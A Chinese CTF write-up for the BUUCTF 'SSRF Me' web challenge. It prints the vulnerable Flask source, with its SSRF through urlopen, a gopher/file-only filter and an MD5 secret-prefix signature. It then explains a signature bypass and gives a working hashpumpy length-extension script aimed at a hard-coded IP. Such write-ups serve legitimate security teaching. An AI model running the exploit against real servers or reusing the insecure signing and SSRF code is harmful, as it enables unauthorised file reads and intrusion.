BUUCTF WEB SSRF ME

没废话,flask代码审计,干就完了

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):     
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

先找回显点,很明显的一个逻辑,那就是task里的exec可以读取文件,有三个路由/geneSign,/De1ta,/
第三个没啥好说的,给我们提供源码的,我们的终极目标要通过/De1ta调用Task类,需要三个参数:action,param,sign,param没啥好说的,要读取的文件名
param=flag.txt
action要过一层waf,仅用了gopher和file伪协议,然后/De1ta的逻辑就没了,下面就是调用的Task类的逻辑
__init__生成沙箱环境,没啥好说的,下一个要过的就是checkSign(),他需要的逻辑
if (getSign(self.action, self.param) == self.sign):这三个参数都是本地可控的
但是有一个问题,
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
secret_key我们不知道,所以我们没法直接利用/De1ta,好在给的另一个路由/geneSign也调用到了getSign函数,而且直接把结果回显给了我们,所以我们不需要知道secret_key,就可以通过构造payload
来绕过checkSign()
这就是本题最关键的点
下面就是利用思路:
构造payload:/geneSign?param=flag.txt
直接getSign时,他返回给我们的是secret_key+“flag.txtread”+"scan"的md5值
在/De1ta路由下Get:param=flag.txt
cookie改为:action=readscan;sign=上一步返回的结果
这样checkSign的时候去调用getSign,计算出来的结果也是secret_key+“flag.txtread”+"scan"的md5值,和我们之前计算的sign一样,绕过了checkSign
就直接读取到了flag.txt
网上还有一种大佬解法
https://blog.csdn.net/weixin_44255856/article/details/98946266
第二种方法,hash长度扩展攻击,emmmm。。。。密码学知识欠缺中,本质上,还是上还是md5值相等。虽然看不懂,但是就这个描述而言,这题好像就是为这个攻击而生的
有兴趣看原理的
https://blog.csdn.net/syh_486_007/article/details/51228628?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.fixedcolumn&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.fixedcolumn
脚本:

import hashpumpy
import requests
import urllib.parse

txt1 = 'flag.txt'
r = requests.get('http://139.180.128.86/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)#长度16是代码里给的random(16)

r = requests.get('http://139.180.128.86/De1ta', params={'param': txt1}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})

print(r.text)

参考视频链接:https://www.bilibili.com/video/BV1Wb4y1v7Md/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值